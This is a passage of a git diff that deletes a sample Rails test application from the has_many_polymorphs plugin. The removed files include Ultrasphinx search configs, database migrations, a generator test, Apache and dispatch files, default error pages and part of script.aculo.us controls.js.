':controller/service.wsdl', :action => 'wsdl' - - # Install the default route as the lowest priority. - map.connect ':controller/:action/:id.:format' - map.connect ':controller/:action/:id' -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/config/ultrasphinx/default.base b/vendor/plugins/has_many_polymorphs/test/integration/app/config/ultrasphinx/default.base deleted file mode 100644 index 2886ccdc..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/config/ultrasphinx/default.base +++ /dev/null @@ -1,56 +0,0 @@ -# -# Sphinx/Ultrasphinx user-configurable options. -# -# Copy this file to RAILS_ROOT/config/ultrasphinx. -# You can use individual namespaces if you want (e.g. "development.base"). -# - -indexer -{ - # Indexer running options - mem_limit = 256M -} - -searchd -{ - # Daemon options - # What interface the search daemon should listen on and where to store its logs - address = 0.0.0.0 - port = 3313 - log = /tmp/sphinx/searchd.log - query_log = /tmp/sphinx/query.log - read_timeout = 5 - max_children = 300 - pid_file = /tmp/sphinx/searchd.pid - max_matches = 100000 -} - -client -{ - # Client options - dictionary_name = ts - # How your application connects to the search daemon (not necessarily the same as above) - server_host = localhost - server_port = 3313 -} - -source -{ - # Individual SQL source options - sql_range_step = 20000 - strip_html = 0 - index_html_attrs = - sql_query_post = -} - -index -{ - # Index building options - path = /tmp/sphinx/ - docinfo = extern # just leave this alone - morphology = stem_en - stopwords = # /path/to/stopwords.txt - min_word_len = 1 - charset_type = utf-8 # or sbcs (Single Byte Character Set) - charset_table = 0..9, A..Z->a..z, -, _, ., &, a..z, U+410..U+42F->U+430..U+44F, U+430..U+44F,U+C5->U+E5, U+E5, U+C4->U+E4, U+E4, U+D6->U+F6, U+F6, U+16B, U+0c1->a, U+0c4->a, U+0c9->e, U+0cd->i, U+0d3->o, U+0d4->o, U+0da->u, U+0dd->y, U+0e1->a, U+0e4->a, U+0e9->e, U+0ed->i, U+0f3->o, U+0f4->o, U+0fa->u, U+0fd->y, U+104->U+105, U+105, U+106->U+107, U+10c->c, U+10d->c, U+10e->d, U+10f->d, U+116->U+117, U+117, U+118->U+119, U+11a->e, U+11b->e, U+12E->U+12F, U+12F, U+139->l, U+13a->l, U+13d->l, U+13e->l, U+141->U+142, U+142, U+143->U+144, U+144,U+147->n, U+148->n, U+154->r, U+155->r, U+158->r, U+159->r, U+15A->U+15B, U+15B, U+160->s, U+160->U+161, U+161->s, U+164->t, U+165->t, U+16A->U+16B, U+16B, U+16e->u, U+16f->u, U+172->U+173, U+173, U+179->U+17A, U+17A, U+17B->U+17C, U+17C, U+17d->z, U+17e->z, -} diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/config/ultrasphinx/development.conf.canonical b/vendor/plugins/has_many_polymorphs/test/integration/app/config/ultrasphinx/development.conf.canonical deleted file mode 100644 index f08e8ed4..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/config/ultrasphinx/development.conf.canonical +++ /dev/null @@ -1,155 +0,0 @@ - -# Auto-generated at Wed Oct 03 03:57:12 -0400 2007. -# Hand modifications will be overwritten. -# /Users/eweaver/Desktop/projects/chow/vendor/plugins/ultrasphinx/test/integration/app/config/ultrasphinx/default.base -indexer { - mem_limit = 256M -} -searchd { - read_timeout = 5 - max_children = 300 - log = /tmp/sphinx/searchd.log - port = 3313 - max_matches = 100000 - query_log = /tmp/sphinx/query.log - pid_file = /tmp/sphinx/searchd.pid - address = 0.0.0.0 -} - -# Source configuration - -source geo__states -{ - strip_html = 0 - sql_range_step = 20000 - index_html_attrs = - sql_query_post = - -type = mysql -sql_query_pre = SET SESSION group_concat_max_len = 65535 -sql_query_pre = SET NAMES utf8 - -sql_db = app_development -sql_host = localhost -sql_pass = -sql_user = root -sql_query_range = SELECT MIN(id), MAX(id) FROM states -sql_query = SELECT (states.id * 4 + 0) AS id, CAST(GROUP_CONCAT(addresses.name SEPARATOR ' ') AS CHAR) AS address_name, 0 AS capitalization, 'Geo::State' AS class, 0 AS class_id, '' AS company, '' AS company_name, 0 AS company_name_facet, '' AS content, UNIX_TIMESTAMP('1970-01-01 00:00:00') AS created_at, 0 AS deleted, '' AS email, '__empty_searchable__' AS empty_searchable, '' AS login, '' AS name, '' AS state, 0 AS user_id FROM states LEFT OUTER JOIN addresses ON states.id = addresses.state_id WHERE states.id >= $start AND states.id <= $end GROUP BY id - -sql_group_column = capitalization -sql_group_column = class_id -sql_group_column = company_name_facet -sql_date_column = created_at -sql_group_column = deleted -sql_group_column = user_id -sql_query_info = SELECT * FROM states WHERE states.id = (($id - 0) / 4) -} - - -# Source configuration - -source sellers -{ - strip_html = 0 - sql_range_step = 20000 - index_html_attrs = - sql_query_post = - -type = mysql -sql_query_pre = SET SESSION group_concat_max_len = 65535 -sql_query_pre = SET NAMES utf8 - -sql_db = app_development -sql_host = localhost -sql_pass = -sql_user = root -sql_query_range = SELECT MIN(id), MAX(id) FROM sellers -sql_query = SELECT (sellers.id * 4 + 1) AS id, '' AS address_name, sellers.capitalization AS capitalization, 'Seller' AS class, 1 AS class_id, '' AS company, sellers.company_name AS company_name, CRC32(sellers.company_name) AS company_name_facet, '' AS content, UNIX_TIMESTAMP(sellers.created_at) AS created_at, 0 AS deleted, '' AS email, '__empty_searchable__' AS empty_searchable, '' AS login, '' AS name, '' AS state, sellers.user_id AS user_id FROM sellers WHERE sellers.id >= $start AND sellers.id <= $end GROUP BY id - -sql_group_column = capitalization -sql_group_column = class_id -sql_group_column = company_name_facet -sql_date_column = created_at -sql_group_column = deleted -sql_group_column = user_id -sql_query_info = SELECT * FROM sellers WHERE sellers.id = (($id - 1) / 4) -} - - -# Source configuration - -source geo__addresses -{ - strip_html = 0 - sql_range_step = 20000 - index_html_attrs = - sql_query_post = - -type = mysql -sql_query_pre = SET SESSION group_concat_max_len = 65535 -sql_query_pre = SET NAMES utf8 - -sql_db = app_development -sql_host = localhost -sql_pass = -sql_user = root -sql_query_range = SELECT MIN(id), MAX(id) FROM addresses -sql_query = SELECT (addresses.id * 4 + 2) AS id, '' AS address_name, 0 AS capitalization, 'Geo::Address' AS class, 2 AS class_id, '' AS company, '' AS company_name, 0 AS company_name_facet, CONCAT_WS(' ', addresses.line_1, addresses.line_2, addresses.city, addresses.province_region, addresses.zip_postal_code) AS content, UNIX_TIMESTAMP('1970-01-01 00:00:00') AS created_at, 0 AS deleted, '' AS email, '__empty_searchable__' AS empty_searchable, '' AS login, addresses.name AS name, states.name AS state, 0 AS user_id FROM addresses LEFT OUTER JOIN states ON states.id = addresses.state_id WHERE addresses.id >= $start AND addresses.id <= $end GROUP BY id - -sql_group_column = capitalization -sql_group_column = class_id -sql_group_column = company_name_facet -sql_date_column = created_at -sql_group_column = deleted -sql_group_column = user_id -sql_query_info = SELECT * FROM addresses WHERE addresses.id = (($id - 2) / 4) -} - - -# Source configuration - -source users -{ - strip_html = 0 - sql_range_step = 20000 - index_html_attrs = - sql_query_post = - -type = mysql -sql_query_pre = SET SESSION group_concat_max_len = 65535 -sql_query_pre = SET NAMES utf8 - -sql_db = app_development -sql_host = localhost -sql_pass = -sql_user = root -sql_query_range = SELECT MIN(id), MAX(id) FROM users -sql_query = SELECT (users.id * 4 + 3) AS id, '' AS address_name, 0 AS capitalization, 'User' AS class, 3 AS class_id, sellers.company_name AS company, '' AS company_name, 0 AS company_name_facet, '' AS content, UNIX_TIMESTAMP('1970-01-01 00:00:00') AS created_at, users.deleted AS deleted, users.email AS email, '__empty_searchable__' AS empty_searchable, users.login AS login, '' AS name, '' AS state, 0 AS user_id FROM users LEFT OUTER JOIN sellers ON users.id = sellers.user_id WHERE users.id >= $start AND users.id <= $end AND (deleted = 0) GROUP BY id - -sql_group_column = capitalization -sql_group_column = class_id -sql_group_column = company_name_facet -sql_date_column = created_at -sql_group_column = deleted -sql_group_column = user_id -sql_query_info = SELECT * FROM users WHERE users.id = (($id - 3) / 4) -} - - -# Index configuration - -index complete -{ - source = geo__addresses - source = geo__states - source = sellers - source = users - charset_type = utf-8 - charset_table = 0..9, A..Z->a..z, -, _, ., &, a..z, U+410..U+42F->U+430..U+44F, U+430..U+44F,U+C5->U+E5, U+E5, U+C4->U+E4, U+E4, U+D6->U+F6, U+F6, U+16B, U+0c1->a, U+0c4->a, U+0c9->e, U+0cd->i, U+0d3->o, U+0d4->o, U+0da->u, U+0dd->y, U+0e1->a, U+0e4->a, U+0e9->e, U+0ed->i, U+0f3->o, U+0f4->o, U+0fa->u, U+0fd->y, U+104->U+105, U+105, U+106->U+107, U+10c->c, U+10d->c, U+10e->d, U+10f->d, U+116->U+117, U+117, U+118->U+119, U+11a->e, U+11b->e, U+12E->U+12F, U+12F, U+139->l, U+13a->l, U+13d->l, U+13e->l, U+141->U+142, U+142, U+143->U+144, U+144,U+147->n, U+148->n, U+154->r, U+155->r, U+158->r, U+159->r, U+15A->U+15B, U+15B, U+160->s, U+160->U+161, U+161->s, U+164->t, U+165->t, U+16A->U+16B, U+16B, U+16e->u, U+16f->u, U+172->U+173, U+173, U+179->U+17A, U+17A, U+17B->U+17C, U+17C, U+17d->z, U+17e->z, - min_word_len = 1 - stopwords = - path = /tmp/sphinx//sphinx_index_complete - docinfo = extern - morphology = stem_en -} - diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/001_create_sticks.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/001_create_sticks.rb deleted file mode 100644 index 6193c313..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/001_create_sticks.rb +++ /dev/null @@ -1,11 +0,0 @@ -class CreateSticks < ActiveRecord::Migration - def self.up - create_table :sticks do |t| - t.column :name, :string - end - end - - def self.down - drop_table :sticks - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/002_create_stones.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/002_create_stones.rb deleted file mode 100644 index 4c1ec154..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/002_create_stones.rb +++ /dev/null @@ -1,11 +0,0 @@ -class CreateStones < ActiveRecord::Migration - def self.up - create_table :stones do |t| - t.column :name, :string - end - end - - def self.down - drop_table :stones - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/003_create_organic_substances.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/003_create_organic_substances.rb deleted file mode 100644 index 1bf82da6..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/003_create_organic_substances.rb +++ /dev/null @@ -1,11 +0,0 @@ -class CreateOrganicSubstances < ActiveRecord::Migration - def self.up - create_table :organic_substances do |t| - t.column :type, :string - end - end - - def self.down - drop_table :organic_substances - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/004_create_bones.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/004_create_bones.rb deleted file mode 100644 index 6faa0aa1..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/004_create_bones.rb +++ /dev/null @@ -1,8 +0,0 @@ -class CreateBones < ActiveRecord::Migration - def self.up - # Using STI - end - - def self.down - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/005_create_single_sti_parents.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/005_create_single_sti_parents.rb deleted file mode 100644 index eef14621..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/005_create_single_sti_parents.rb +++ /dev/null @@ -1,11 +0,0 @@ -class CreateSingleStiParents < ActiveRecord::Migration - def self.up - create_table :single_sti_parents do |t| - t.column :name, :string - end - end - - def self.down - drop_table :single_sti_parents - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/006_create_double_sti_parents.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/006_create_double_sti_parents.rb deleted file mode 100644 index 2a28f4ab..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/006_create_double_sti_parents.rb +++ /dev/null @@ -1,11 +0,0 @@ -class CreateDoubleStiParents < ActiveRecord::Migration - def self.up - create_table :double_sti_parents do |t| - t.column :name, :string - end - end - - def self.down - drop_table :double_sti_parents - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/007_create_single_sti_parent_relationships.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/007_create_single_sti_parent_relationships.rb deleted file mode 100644 index deceeec7..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/007_create_single_sti_parent_relationships.rb +++ /dev/null @@ -1,13 +0,0 @@ -class CreateSingleStiParentRelationships < ActiveRecord::Migration - def self.up - create_table :single_sti_parent_relationships do |t| - t.column :the_bone_type, :string, :null => false - t.column :the_bone_id, :integer, :null => false - t.column :single_sti_parent_id, :integer, :null => false - end - end - - def self.down - drop_table :single_sti_parent_relationships - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/008_create_double_sti_parent_relationships.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/008_create_double_sti_parent_relationships.rb deleted file mode 100644 index 46605d9b..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/008_create_double_sti_parent_relationships.rb +++ /dev/null @@ -1,14 +0,0 @@ -class CreateDoubleStiParentRelationships < ActiveRecord::Migration - def self.up - create_table :double_sti_parent_relationships do |t| - t.column :the_bone_type, :string, :null => false - t.column :the_bone_id, :integer, :null => false - t.column :parent_type, :string, :null => false - t.column :parent_id, :integer, :null => false - end - end - - def self.down - drop_table :double_sti_parent_relationships - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/009_create_library_model.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/009_create_library_model.rb deleted file mode 100644 index bdf7cf46..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/db/migrate/009_create_library_model.rb +++ /dev/null @@ -1,11 +0,0 @@ -class CreateLibraryModel < ActiveRecord::Migration - def self.up - create_table :library_models do |t| - t.column :name, :string - end - end - - def self.down - drop_table :library_models - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/doc/README_FOR_APP b/vendor/plugins/has_many_polymorphs/test/integration/app/doc/README_FOR_APP deleted file mode 100644 index ac6c1491..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/doc/README_FOR_APP +++ /dev/null @@ -1,2 +0,0 @@ -Use this README file to introduce your application and point to useful places in the API for learning more. -Run "rake appdoc" to generate API documentation for your models and controllers. \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/generators/commenting_generator_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/generators/commenting_generator_test.rb deleted file mode 100644 index 0fbdf9a1..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/generators/commenting_generator_test.rb +++ /dev/null @@ -1,83 +0,0 @@ -require File.dirname(__FILE__) + '/../test_helper' -require 'fileutils' - -class CommentingGeneratorTest < ActiveSupport::TestCase - - def test_ensure_comments_dont_exist - # make sure the comments are already defined - assert_equal false, Object.send(:const_defined?, :Comment) - assert_equal false, Object.send(:const_defined?, :Commenting) - end - - def test_ensure_files_exist_after_generator_runs - run_generator - - # make sure the files are there - for generated_file in generated_files do - assert File.exists?(File.expand_path(generated_file)) - end - end - - def test_classes_exist_with_associations - run_generator - assert_nothing_raised { Commenting } - assert_nothing_raised { Comment } - citation = Citation.find(:first) - assert !citation.nil? - assert citation.respond_to?(:comments) - user = User.find(:first) - assert !user.nil? - assert user.respond_to?(:comments) - end - - def teardown - Object.send(:remove_const, :Comment) if Object.send(:const_defined?, :Comment) - Object.send(:remove_const, :Commenting) if Object.send(:const_defined?, :Commenting) - remove_all_generated_files - remove_require_for_commenting_extensions - end - - def generated_files - generated_files = [File.join(File.dirname(__FILE__), '..', '..', 'app', 'models', 'comment.rb')] - generated_files << File.join(File.dirname(__FILE__), '..', '..', 'app', 'models', 'commenting.rb') - generated_files << File.join(File.dirname(__FILE__), '..', '..', 'test', 'unit', 'commenting_test.rb') - generated_files << File.join(File.dirname(__FILE__), '..', '..', 'test', 'unit', 'comment_test.rb') - generated_files << File.join(File.dirname(__FILE__), '..', '..', 'lib', 'commenting_extensions.rb') - generated_files << File.join(File.dirname(__FILE__), '..', '..', 'test', 'fixtures', 'comments.yml') - generated_files << File.join(File.dirname(__FILE__), '..', '..', 'test', 'fixtures', 'commentings.yml') - end - - def remove_all_generated_files - for generated_file in generated_files do - if File.exists?(generated_file) - assert FileUtils.rm(generated_file) - end - end - end - - def run_migrate - `rake db:migrate RAILS_ENV=test` - end - - def run_generator - command = File.join(File.dirname(__FILE__), '..', '..', 'script', 'generate') - `#{command} commenting Citation User` - run_migrate - end - - def remove_require_for_commenting_extensions - environment = File.join(File.dirname(__FILE__), '..', '..', 'config', 'environment.rb') - new_environment = '' - if File.exists?(environment) - if (open(environment) { |file| file.grep(/Rails/).any? }) - IO.readlines(environment).each do |line| - new_environment += line unless line.match(/commenting_extensions/i) - end - File.open(environment, "w+") do |f| - f.pos = 0 - f.print new_environment - end - end - end - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/lib/library_model.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/lib/library_model.rb deleted file mode 100644 index e27106fa..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/lib/library_model.rb +++ /dev/null @@ -1,2 +0,0 @@ -class LibraryModel < ActiveRecord::Base -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/public/.htaccess b/vendor/plugins/has_many_polymorphs/test/integration/app/public/.htaccess deleted file mode 100644 index d3c99834..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/public/.htaccess +++ /dev/null @@ -1,40 +0,0 @@ -# General Apache options -AddHandler fastcgi-script .fcgi -AddHandler cgi-script .cgi -Options +FollowSymLinks +ExecCGI - -# If you don't want Rails to look in certain directories, -# use the following rewrite rules so that Apache won't rewrite certain requests -# -# Example: -# RewriteCond %{REQUEST_URI} ^/notrails.* -# RewriteRule .* - [L] - -# Redirect all requests not available on the filesystem to Rails -# By default the cgi dispatcher is used which is very slow -# -# For better performance replace the dispatcher with the fastcgi one -# -# Example: -# RewriteRule ^(.*)$ dispatch.fcgi [QSA,L] -RewriteEngine On - -# If your Rails application is accessed via an Alias directive, -# then you MUST also set the RewriteBase in this htaccess file. -# -# Example: -# Alias /myrailsapp /path/to/myrailsapp/public -# RewriteBase /myrailsapp - -RewriteRule ^$ index.html [QSA] -RewriteRule ^([^.]+)$ $1.html [QSA] -RewriteCond %{REQUEST_FILENAME} !-f -RewriteRule ^(.*)$ dispatch.cgi [QSA,L] - -# In case Rails experiences terminal errors -# Instead of displaying this message you can supply a file here which will be rendered instead -# -# Example: -# ErrorDocument 500 /500.html - -ErrorDocument 500 "

    Application error

    Rails application failed to start properly" \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/public/404.html b/vendor/plugins/has_many_polymorphs/test/integration/app/public/404.html deleted file mode 100644 index eff660b9..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/public/404.html +++ /dev/null @@ -1,30 +0,0 @@ - - - - - - - The page you were looking for doesn't exist (404) - - - - - -
    -

    The page you were looking for doesn't exist.

    -

    You may have mistyped the address or the page may have moved.

    -
    - - \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/public/500.html b/vendor/plugins/has_many_polymorphs/test/integration/app/public/500.html deleted file mode 100644 index f0aee0e9..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/public/500.html +++ /dev/null @@ -1,30 +0,0 @@ - - - - - - - We're sorry, but something went wrong - - - - - -
    -

    We're sorry, but something went wrong.

    -

    We've been notified about this issue and we'll take a look at it shortly.

    -
    - - \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/public/dispatch.cgi b/vendor/plugins/has_many_polymorphs/test/integration/app/public/dispatch.cgi deleted file mode 100755 index 9b5ae760..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/public/dispatch.cgi +++ /dev/null @@ -1,10 +0,0 @@ -#!/usr/local/bin/ruby - -require File.dirname(__FILE__) + "/../config/environment" unless defined?(RAILS_ROOT) - -# If you're using RubyGems and mod_ruby, this require should be changed to an absolute path one, like: -# "/usr/local/lib/ruby/gems/1.8/gems/rails-0.8.0/lib/dispatcher" -- otherwise performance is severely impaired -require "dispatcher" - -ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) } if defined?(Apache::RubyRun) -Dispatcher.dispatch \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/public/dispatch.fcgi b/vendor/plugins/has_many_polymorphs/test/integration/app/public/dispatch.fcgi deleted file mode 100755 index 664dbbbe..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/public/dispatch.fcgi +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env ruby -# -# You may specify the path to the FastCGI crash log (a log of unhandled -# exceptions which forced the FastCGI instance to exit, great for debugging) -# and the number of requests to process before running garbage collection. -# -# By default, the FastCGI crash log is RAILS_ROOT/log/fastcgi.crash.log -# and the GC period is nil (turned off). A reasonable number of requests -# could range from 10-100 depending on the memory footprint of your app. -# -# Example: -# # Default log path, normal GC behavior. -# RailsFCGIHandler.process! -# -# # Default log path, 50 requests between GC. -# RailsFCGIHandler.process! nil, 50 -# -# # Custom log path, normal GC behavior. -# RailsFCGIHandler.process! '/var/log/myapp_fcgi_crash.log' -# -require File.dirname(__FILE__) + "/../config/environment" -require 'fcgi_handler' - -RailsFCGIHandler.process! diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/public/dispatch.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/public/dispatch.rb deleted file mode 100755 index 9b5ae760..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/public/dispatch.rb +++ /dev/null @@ -1,10 +0,0 @@ -#!/usr/local/bin/ruby - -require File.dirname(__FILE__) + "/../config/environment" unless defined?(RAILS_ROOT) - -# If you're using RubyGems and mod_ruby, this require should be changed to an absolute path one, like: -# "/usr/local/lib/ruby/gems/1.8/gems/rails-0.8.0/lib/dispatcher" -- otherwise performance is severely impaired -require "dispatcher" - -ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) } if defined?(Apache::RubyRun) -Dispatcher.dispatch \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/public/favicon.ico b/vendor/plugins/has_many_polymorphs/test/integration/app/public/favicon.ico deleted file mode 100644 index e69de29b..00000000 diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/public/images/rails.png b/vendor/plugins/has_many_polymorphs/test/integration/app/public/images/rails.png deleted file mode 100644 index b8441f18..00000000 Binary files a/vendor/plugins/has_many_polymorphs/test/integration/app/public/images/rails.png and /dev/null differ diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/public/index.html b/vendor/plugins/has_many_polymorphs/test/integration/app/public/index.html deleted file mode 100644 index a2daab72..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/public/index.html +++ /dev/null @@ -1,277 +0,0 @@ - - - - - Ruby on Rails: Welcome aboard - - - - - - -
    - - -
    - - - - -
    -

    Getting started

    -

    Here’s how to get rolling:

    - -
      -
    1. -

      Create your databases and edit config/database.yml

      -

      Rails needs to know your login and password.

      -
    2. - -
    3. -

      Use script/generate to create your models and controllers

      -

      To see all available options, run it without parameters.

      -
    4. - -
    5. -

      Set up a default route and remove or rename this file

      -

      Routes are setup in config/routes.rb.

      -
    6. -
    -
    -
    - - -
    - - \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/public/javascripts/application.js b/vendor/plugins/has_many_polymorphs/test/integration/app/public/javascripts/application.js deleted file mode 100644 index fe457769..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/public/javascripts/application.js +++ /dev/null @@ -1,2 +0,0 @@ -// Place your application-specific JavaScript functions and classes here -// This file is automatically included by javascript_include_tag :defaults diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/public/javascripts/controls.js b/vendor/plugins/has_many_polymorphs/test/integration/app/public/javascripts/controls.js deleted file mode 100644 index 8c273f87..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/public/javascripts/controls.js +++ /dev/null @@ -1,833 +0,0 @@ -// Copyright (c) 2005, 2006 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) -// (c) 2005, 2006 Ivan Krstic (http://blogs.law.harvard.edu/ivan) -// (c) 2005, 2006 Jon Tirsen (http://www.tirsen.com) -// Contributors: -// Richard Livsey -// Rahul Bhargava -// Rob Wills -// -// script.aculo.us is freely distributable under the terms of an MIT-style license. -// For details, see the script.aculo.us web site: http://script.aculo.us/ - -// Autocompleter.Base handles all the autocompletion functionality -// that's independent of the data source for autocompletion. This -// includes drawing the autocompletion menu, observing keyboard -// and mouse events, and similar. -// -// Specific autocompleters need to provide, at the very least, -// a getUpdatedChoices function that will be invoked every time -// the text inside the monitored textbox changes. This method -// should get the text for which to provide autocompletion by -// invoking this.getToken(), NOT by directly accessing -// this.element.value. This is to allow incremental tokenized -// autocompletion. Specific auto-completion logic (AJAX, etc) -// belongs in getUpdatedChoices. -// -// Tokenized incremental autocompletion is enabled automatically -// when an autocompleter is instantiated with the 'tokens' option -// in the options parameter, e.g.: -// new Ajax.Autocompleter('id','upd', '/url/', { tokens: ',' }); -// will incrementally autocomplete with a comma as the token. -// Additionally, ',' in the above example can be replaced with -// a token array, e.g. { tokens: [',', '\n'] } which -// enables autocompletion on multiple tokens. This is most -// useful when one of the tokens is \n (a newline), as it -// allows smart autocompletion after linebreaks. - -if(typeof Effect == 'undefined') - throw("controls.js requires including script.aculo.us' effects.js library"); - -var Autocompleter = {} -Autocompleter.Base = function() {}; -Autocompleter.Base.prototype = { - baseInitialize: function(element, update, options) { - this.element = $(element); - this.update = $(update); - this.hasFocus = false; - this.changed = false; - this.active = false; - this.index = 0; - this.entryCount = 0; - - if(this.setOptions) - this.setOptions(options); - else - this.options = options || {}; - - this.options.paramName = this.options.paramName || this.element.name; - this.options.tokens = this.options.tokens || []; - this.options.frequency = this.options.frequency || 0.4; - this.options.minChars = this.options.minChars || 1; - this.options.onShow = this.options.onShow || - function(element, update){ - if(!update.style.position || update.style.position=='absolute') { - update.style.position = 'absolute'; - Position.clone(element, update, { - setHeight: false, - offsetTop: element.offsetHeight - }); - } - Effect.Appear(update,{duration:0.15}); - }; - this.options.onHide = this.options.onHide || - function(element, update){ new Effect.Fade(update,{duration:0.15}) }; - - if(typeof(this.options.tokens) == 'string') - this.options.tokens = new Array(this.options.tokens); - - this.observer = null; - - this.element.setAttribute('autocomplete','off'); - - Element.hide(this.update); - - Event.observe(this.element, "blur", this.onBlur.bindAsEventListener(this)); - Event.observe(this.element, "keypress", this.onKeyPress.bindAsEventListener(this)); - }, - - show: function() { - if(Element.getStyle(this.update, 'display')=='none') this.options.onShow(this.element, this.update); - if(!this.iefix && - (navigator.appVersion.indexOf('MSIE')>0) && - (navigator.userAgent.indexOf('Opera')<0) && - (Element.getStyle(this.update, 'position')=='absolute')) { - new Insertion.After(this.update, - ''); - this.iefix = $(this.update.id+'_iefix'); - } - if(this.iefix) setTimeout(this.fixIEOverlapping.bind(this), 50); - }, - - fixIEOverlapping: function() { - Position.clone(this.update, this.iefix, {setTop:(!this.update.style.height)}); - this.iefix.style.zIndex = 1; - this.update.style.zIndex = 2; - Element.show(this.iefix); - }, - - hide: function() { - this.stopIndicator(); - if(Element.getStyle(this.update, 'display')!='none') this.options.onHide(this.element, this.update); - if(this.iefix) Element.hide(this.iefix); - }, - - startIndicator: function() { - if(this.options.indicator) Element.show(this.options.indicator); - }, - - stopIndicator: function() { - if(this.options.indicator) Element.hide(this.options.indicator); - }, - - onKeyPress: function(event) { - if(this.active) - switch(event.keyCode) { - case Event.KEY_TAB: - case Event.KEY_RETURN: - this.selectEntry(); - Event.stop(event); - case Event.KEY_ESC: - this.hide(); - this.active = false; - Event.stop(event); - return; - case Event.KEY_LEFT: - case Event.KEY_RIGHT: - return; - case Event.KEY_UP: - this.markPrevious(); - this.render(); - if(navigator.appVersion.indexOf('AppleWebKit')>0) Event.stop(event); - return; - case Event.KEY_DOWN: - this.markNext(); - this.render(); - if(navigator.appVersion.indexOf('AppleWebKit')>0) Event.stop(event); - return; - } - else - if(event.keyCode==Event.KEY_TAB || event.keyCode==Event.KEY_RETURN || - (navigator.appVersion.indexOf('AppleWebKit') > 0 && event.keyCode == 0)) return; - - this.changed = true; - this.hasFocus = true; - - if(this.observer) clearTimeout(this.observer); - this.observer = - setTimeout(this.onObserverEvent.bind(this), this.options.frequency*1000); - }, - - activate: function() { - this.changed = false; - this.hasFocus = true; - this.getUpdatedChoices(); - }, - - onHover: function(event) { - var element = Event.findElement(event, 'LI'); - if(this.index != element.autocompleteIndex) - { - this.index = element.autocompleteIndex; - this.render(); - } - Event.stop(event); - }, - - onClick: function(event) { - var element = Event.findElement(event, 'LI'); - this.index = element.autocompleteIndex; - this.selectEntry(); - this.hide(); - }, - - onBlur: function(event) { - // needed to make click events working - setTimeout(this.hide.bind(this), 250); - this.hasFocus = false; - this.active = false; - }, - - render: function() { - if(this.entryCount > 0) { - for (var i = 0; i < this.entryCount; i++) - this.index==i ? - Element.addClassName(this.getEntry(i),"selected") : - Element.removeClassName(this.getEntry(i),"selected"); - - if(this.hasFocus) { - this.show(); - this.active = true; - } - } else { - this.active = false; - this.hide(); - } - }, - - markPrevious: function() { - if(this.index > 0) this.index-- - else this.index = this.entryCount-1; - 